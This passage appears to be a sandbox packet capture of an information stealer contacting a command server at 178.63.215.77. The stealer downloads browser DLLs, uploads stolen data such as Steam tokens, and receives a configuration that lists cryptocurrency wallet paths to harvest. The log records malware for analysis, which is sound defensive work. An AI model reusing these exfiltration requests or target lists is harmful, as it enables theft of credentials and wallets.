0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="file"------IEGCBAAFHDHDHJKEGCFC--
Oct 12, 2024 14:17:07.131833076 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:07.345648050 CEST	92	OUT	GET /a43eb2d9880da9a6/freebl3.dll HTTP/1.1 Host: 178.63.215.77 Cache-Control: no-cache
Oct 12, 2024 14:17:07.537919998 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 12, 2024 14:17:08.248529911 CEST	92	OUT	GET /a43eb2d9880da9a6/mozglue.dll HTTP/1.1 Host: 178.63.215.77 Cache-Control: no-cache
Oct 12, 2024 14:17:08.440435886 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 12, 2024 14:17:08.997934103 CEST	93	OUT	GET /a43eb2d9880da9a6/msvcp140.dll HTTP/1.1 Host: 178.63.215.77 Cache-Control: no-cache
Oct 12, 2024 14:17:09.190212965 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 12, 2024 14:17:09.502418995 CEST	89	OUT	GET /a43eb2d9880da9a6/nss3.dll HTTP/1.1 Host: 178.63.215.77 Cache-Control: no-cache
Oct 12, 2024 14:17:09.695075989 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 12, 2024 14:17:11.242542982 CEST	93	OUT	GET /a43eb2d9880da9a6/softokn3.dll HTTP/1.1 Host: 178.63.215.77 Cache-Control: no-cache
Oct 12, 2024 14:17:11.434883118 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 12, 2024 14:17:11.737509012 CEST	97	OUT	GET /a43eb2d9880da9a6/vcruntime140.dll HTTP/1.1 Host: 178.63.215.77 Cache-Control: no-cache
Oct 12, 2024 14:17:11.930279016 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 12, 2024 14:17:12.438252926 CEST	201	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCA Host: 178.63.215.77 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 14:17:12.776830912 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:12.825165033 CEST	467	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDA Host: 178.63.215.77 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="message"wallets------JEGHDAFIDGDAAKEBFHDA--
Oct 12, 2024 14:17:13.018556118 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 12, 2024 14:17:13.021281004 CEST	465	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAFIJJJKEGIECAKKEHI Host: 178.63.215.77 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 46 49 4a 4a 4a 4b 45 47 49 45 43 41 4b 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 46 49 4a 4a 4a 4b 45 47 49 45 43 41 4b 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 46 49 4a 4a 4a 4b 45 47 49 45 43 41 4b 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------FCAFIJJJKEGIECAKKEHIContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------FCAFIJJJKEGIECAKKEHIContent-Disposition: form-data; name="message"files------FCAFIJJJKEGIECAKKEHI--
Oct 12, 2024 14:17:13.214819908 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:13.233562946 CEST	563	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHII Host: 178.63.215.77 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="file"------BGIIDAEBGCAAECAKFHII--
Oct 12, 2024 14:17:13.428842068 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:13.789988041 CEST	203	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFI Host: 178.63.215.77 Content-Length: 101087 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 14:17:14.204495907 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:14.244781971 CEST	472	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHII Host: 178.63.215.77 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 2d 2d 0d 0a Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="message"ybncbhylepme------BGIIDAEBGCAAECAKFHII--
Oct 12, 2024 14:17:14.438927889 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:14.440125942 CEST	472	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCA Host: 178.63.215.77 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 2d 2d 0d 0a Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; 